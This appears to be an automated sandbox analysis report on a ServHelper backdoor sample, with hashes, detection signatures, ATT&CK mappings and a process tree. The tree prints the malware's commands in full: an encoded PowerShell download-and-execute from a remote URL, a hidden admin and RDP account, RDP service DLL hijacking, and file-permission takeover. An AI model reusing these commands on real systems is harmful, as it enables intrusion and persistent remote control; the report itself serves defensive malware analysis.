servhelper | 266562d82899806c0eafc3ca72216e78d41403dd24effebd31d7635922ba96ce

Analysis

max time kernel
138s
max time network
132s
platform
windows7_x64
resource
win7v20210408
submitted
19-08-2021 15:14

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General

Target

87dd0632a95ca24443f8c6363bc055e6.exe
Size

5.9MB
MD5

87dd0632a95ca24443f8c6363bc055e6
SHA1

423785b67d20f4f5056ff6d9e34fda3c72a03bd4
SHA256

266562d82899806c0eafc3ca72216e78d41403dd24effebd31d7635922ba96ce
SHA512

c51d180cca074540f5ca9186e60509cfdb1c7e1a8651e691eac585df9f8352e256cedb86a4a340e0e8f5b1ed6d73ff270d92424259539c0c4c02a7048f2a75e2

Score

10^/10

servhelper backdoor discovery exploit persistence suricata trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
suricata: ET MALWARE ServHelper CnC Inital Checkin
suricata: ET MALWARE ServHelper CnC Inital Checkin
suricata
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 1 IoCs

flow	pid	Process
12	1752	powershell.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076

Possible privilege escalation attempt 8 IoCs

exploit

pid	Process
824	icacls.exe
364	icacls.exe
960	icacls.exe
1376	icacls.exe
1516	takeown.exe
904	icacls.exe
644	icacls.exe
1604	icacls.exe

Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x00040000000130c8-181.dat	upx
behavioral1/files/0x00050000000130c9-182.dat	upx

Loads dropped DLL 2 IoCs

pid	Process
1016	Process not Found
1016	Process not Found

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
364	icacls.exe
960	icacls.exe
1376	icacls.exe
1516	takeown.exe
904	icacls.exe
644	icacls.exe
1604	icacls.exe
824	icacls.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Windows directory 21 IoCs

description	ioc	Process
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\FCGDYBP3P2O5EVG7FPK8.temp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_4884c06f-f792-44d5-9f35-bbf0d83e06fd	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_fa7b0c85-bf26-4e27-9e2b-942fa274b60d	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1a8e7c00-aef7-439f-a16c-d40a699b7b46	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_ae316f8f-95a5-4a14-b2be-b3e64b1312fd	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_7f95aa64-fd9d-4c33-aef7-3c0aa6dcf107	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_ea306686-8ac0-419f-9967-f1dc49bf9f89	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_556ca3a1-6e16-4e1a-877b-4d0bc6407079	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_df121702-cad1-42e2-9715-4c5481fa3218	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a2eeae00-a174-4bf7-91fb-8a8560b46c78	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_e8fc0f4c-cd0b-418b-87b0-e6b268670510	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_deac0eb6-4faf-4f74-a410-b51d4c94ca90	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = a04dce3b1d95d701	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1664	reg.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	87dd0632a95ca24443f8c6363bc055e6.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	87dd0632a95ca24443f8c6363bc055e6.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
1012	powershell.exe
1012	powershell.exe
1896	powershell.exe
1896	powershell.exe
1788	powershell.exe
1788	powershell.exe
1168	powershell.exe
1168	powershell.exe
1012	powershell.exe
1012	powershell.exe
1012	powershell.exe
1752	powershell.exe
1752	powershell.exe

Suspicious behavior: LoadsDriver 5 IoCs

pid	Process
468	Process not Found
1016	Process not Found
1016	Process not Found
1016	Process not Found
1016	Process not Found

Suspicious use of AdjustPrivilegeToken 19 IoCs

description	pid	Process
Token: SeDebugPrivilege	1684	87dd0632a95ca24443f8c6363bc055e6.exe
Token: SeDebugPrivilege	1012	powershell.exe
Token: SeDebugPrivilege	1896	powershell.exe
Token: SeDebugPrivilege	1788	powershell.exe
Token: SeDebugPrivilege	1168	powershell.exe
Token: SeRestorePrivilege	644	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	1796	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1796	WMIC.exe
Token: SeAuditPrivilege	1796	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1796	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1796	WMIC.exe
Token: SeAuditPrivilege	1796	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1568	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1568	WMIC.exe
Token: SeAuditPrivilege	1568	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1568	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1568	WMIC.exe
Token: SeAuditPrivilege	1568	WMIC.exe
Token: SeDebugPrivilege	1752	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1684 wrote to memory of 1012	1684	87dd0632a95ca24443f8c6363bc055e6.exe	30
PID 1684 wrote to memory of 1012	1684	87dd0632a95ca24443f8c6363bc055e6.exe	30
PID 1684 wrote to memory of 1012	1684	87dd0632a95ca24443f8c6363bc055e6.exe	30
PID 1012 wrote to memory of 548	1012	powershell.exe	32
PID 1012 wrote to memory of 548	1012	powershell.exe	32
PID 1012 wrote to memory of 548	1012	powershell.exe	32
PID 548 wrote to memory of 940	548	csc.exe	33
PID 548 wrote to memory of 940	548	csc.exe	33
PID 548 wrote to memory of 940	548	csc.exe	33
PID 1012 wrote to memory of 1896	1012	powershell.exe	34
PID 1012 wrote to memory of 1896	1012	powershell.exe	34
PID 1012 wrote to memory of 1896	1012	powershell.exe	34
PID 1012 wrote to memory of 1788	1012	powershell.exe	36
PID 1012 wrote to memory of 1788	1012	powershell.exe	36
PID 1012 wrote to memory of 1788	1012	powershell.exe	36
PID 1012 wrote to memory of 1168	1012	powershell.exe	38
PID 1012 wrote to memory of 1168	1012	powershell.exe	38
PID 1012 wrote to memory of 1168	1012	powershell.exe	38
PID 1012 wrote to memory of 1516	1012	powershell.exe	40
PID 1012 wrote to memory of 1516	1012	powershell.exe	40
PID 1012 wrote to memory of 1516	1012	powershell.exe	40
PID 1012 wrote to memory of 904	1012	powershell.exe	41
PID 1012 wrote to memory of 904	1012	powershell.exe	41
PID 1012 wrote to memory of 904	1012	powershell.exe	41
PID 1012 wrote to memory of 644	1012	powershell.exe	42
PID 1012 wrote to memory of 644	1012	powershell.exe	42
PID 1012 wrote to memory of 644	1012	powershell.exe	42
PID 1012 wrote to memory of 1604	1012	powershell.exe	43
PID 1012 wrote to memory of 1604	1012	powershell.exe	43
PID 1012 wrote to memory of 1604	1012	powershell.exe	43
PID 1012 wrote to memory of 824	1012	powershell.exe	44
PID 1012 wrote to memory of 824	1012	powershell.exe	44
PID 1012 wrote to memory of 824	1012	powershell.exe	44
PID 1012 wrote to memory of 364	1012	powershell.exe	45
PID 1012 wrote to memory of 364	1012	powershell.exe	45
PID 1012 wrote to memory of 364	1012	powershell.exe	45
PID 1012 wrote to memory of 960	1012	powershell.exe	46
PID 1012 wrote to memory of 960	1012	powershell.exe	46
PID 1012 wrote to memory of 960	1012	powershell.exe	46
PID 1012 wrote to memory of 1376	1012	powershell.exe	47
PID 1012 wrote to memory of 1376	1012	powershell.exe	47
PID 1012 wrote to memory of 1376	1012	powershell.exe	47
PID 1012 wrote to memory of 1628	1012	powershell.exe	48
PID 1012 wrote to memory of 1628	1012	powershell.exe	48
PID 1012 wrote to memory of 1628	1012	powershell.exe	48
PID 1012 wrote to memory of 1664	1012	powershell.exe	49
PID 1012 wrote to memory of 1664	1012	powershell.exe	49
PID 1012 wrote to memory of 1664	1012	powershell.exe	49
PID 1012 wrote to memory of 1424	1012	powershell.exe	50
PID 1012 wrote to memory of 1424	1012	powershell.exe	50
PID 1012 wrote to memory of 1424	1012	powershell.exe	50
PID 1012 wrote to memory of 2008	1012	powershell.exe	51
PID 1012 wrote to memory of 2008	1012	powershell.exe	51
PID 1012 wrote to memory of 2008	1012	powershell.exe	51
PID 2008 wrote to memory of 1076	2008	net.exe	52
PID 2008 wrote to memory of 1076	2008	net.exe	52
PID 2008 wrote to memory of 1076	2008	net.exe	52
PID 1012 wrote to memory of 936	1012	powershell.exe	53
PID 1012 wrote to memory of 936	1012	powershell.exe	53
PID 1012 wrote to memory of 936	1012	powershell.exe	53
PID 936 wrote to memory of 108	936	cmd.exe	54
PID 936 wrote to memory of 108	936	cmd.exe	54
PID 936 wrote to memory of 108	936	cmd.exe	54
PID 108 wrote to memory of 1988	108	cmd.exe	55

C:\Users\Admin\AppData\Local\Temp\87dd0632a95ca24443f8c6363bc055e6.exe
"C:\Users\Admin\AppData\Local\Temp\87dd0632a95ca24443f8c6363bc055e6.exe"
1⤵
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1684
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1012
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\zzjs31uw\zzjs31uw.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:548
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB358.tmp" "c:\Users\Admin\AppData\Local\Temp\zzjs31uw\CSC6D06B0D9C4F74936A1746A3A2BE5C67C.TMP"
      4⤵
      PID:940
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1896
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1788
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1168
- - C:\Windows\system32\takeown.exe
    "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1516
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:904
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:644
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1604
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:824
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:364
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:960
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1376
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:1628
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:1664
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:1424
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2008
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:1076
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:936
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:108
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        
        PID:1988
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:1316
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    PID:536
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      PID:1516
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        
        PID:904
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:1364
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:1728
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:1776

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
PID:1768
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  PID:1796
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    PID:1568

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc z0vs4iUt /add
1⤵
PID:1724
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc z0vs4iUt /add
  2⤵
  PID:668
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc z0vs4iUt /add
    3⤵
    PID:2008

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
PID:1988
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  PID:1964
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:1076

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
1⤵
PID:304
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
  2⤵
  PID:1672
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
    3⤵
    PID:740

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
PID:1168
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  PID:1724
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:2044

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc z0vs4iUt
1⤵
PID:964
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc z0vs4iUt
  2⤵
  PID:1988
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc z0vs4iUt
    3⤵
    PID:2032

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:1768
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1796

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:1424
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1568

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:1636
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:2008
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1752

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Install Root Certificate

T1130

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1012-70-0x0000000002580000-0x0000000002581000-memory.dmp

Filesize
4KB

Download
memory/1012-68-0x0000000002540000-0x0000000002541000-memory.dmp

Filesize
4KB

Download
memory/1012-75-0x000000001B9B0000-0x000000001B9B1000-memory.dmp

Filesize
4KB

Download
memory/1012-69-0x000000001AD10000-0x000000001AD11000-memory.dmp

Filesize
4KB

Download
memory/1012-67-0x000007FEFC2E1000-0x000007FEFC2E3000-memory.dmp

Filesize
8KB

Download
memory/1012-102-0x000000001AC9A000-0x000000001ACB9000-memory.dmp

Filesize
124KB

Download
memory/1012-86-0x000000001C4A0000-0x000000001C4A1000-memory.dmp

Filesize
4KB

Download
memory/1012-83-0x00000000025B0000-0x00000000025B1000-memory.dmp

Filesize
4KB

Download
memory/1012-71-0x000000001AC90000-0x000000001AC92000-memory.dmp

Filesize
8KB

Download
memory/1012-72-0x000000001AC94000-0x000000001AC96000-memory.dmp

Filesize
8KB

Download
memory/1012-85-0x000000001C420000-0x000000001C421000-memory.dmp

Filesize
4KB

Download
memory/1012-73-0x0000000002400000-0x0000000002401000-memory.dmp

Filesize
4KB

Download
memory/1012-158-0x000000001C780000-0x000000001C781000-memory.dmp

Filesize
4KB

Download
memory/1012-87-0x00000000027E0000-0x00000000027E1000-memory.dmp

Filesize
4KB

Download
memory/1168-151-0x000000001AB14000-0x000000001AB16000-memory.dmp

Filesize
8KB

Download
memory/1168-150-0x000000001AB10000-0x000000001AB12000-memory.dmp

Filesize
8KB

Download
memory/1684-65-0x00000000286B7000-0x00000000286B8000-memory.dmp

Filesize
4KB

Download
memory/1684-60-0x0000000041850000-0x0000000041C70000-memory.dmp

Filesize
4.1MB

Download
memory/1684-62-0x00000000286B2000-0x00000000286B4000-memory.dmp

Filesize
8KB

Download
memory/1684-64-0x00000000286B6000-0x00000000286B7000-memory.dmp

Filesize
4KB

Download
memory/1684-63-0x00000000286B4000-0x00000000286B6000-memory.dmp

Filesize
8KB

Download
memory/1752-206-0x0000000019464000-0x0000000019466000-memory.dmp

Filesize
8KB

Download
memory/1752-205-0x0000000019460000-0x0000000019462000-memory.dmp

Filesize
8KB

Download
memory/1752-236-0x000000001946A000-0x0000000019489000-memory.dmp

Filesize
124KB

Download
memory/1788-132-0x000000001AB00000-0x000000001AB01000-memory.dmp

Filesize
4KB

Download
memory/1788-127-0x000000001ABC0000-0x000000001ABC2000-memory.dmp

Filesize
8KB

Download
memory/1788-128-0x000000001ABC4000-0x000000001ABC6000-memory.dmp

Filesize
8KB

Download
memory/1788-130-0x0000000002670000-0x0000000002671000-memory.dmp

Filesize
4KB

Download
memory/1788-134-0x000000001A950000-0x000000001A951000-memory.dmp

Filesize
4KB

Download
memory/1788-135-0x00000000025B0000-0x00000000025B1000-memory.dmp

Filesize
4KB

Download
memory/1896-107-0x000000001B680000-0x000000001B681000-memory.dmp

Filesize
4KB

Download
memory/1896-120-0x000000001B590000-0x000000001B591000-memory.dmp

Filesize
4KB

Download
memory/1896-95-0x000000001ABF4000-0x000000001ABF6000-memory.dmp

Filesize
8KB

Download
memory/1896-94-0x000000001ABF0000-0x000000001ABF2000-memory.dmp

Filesize
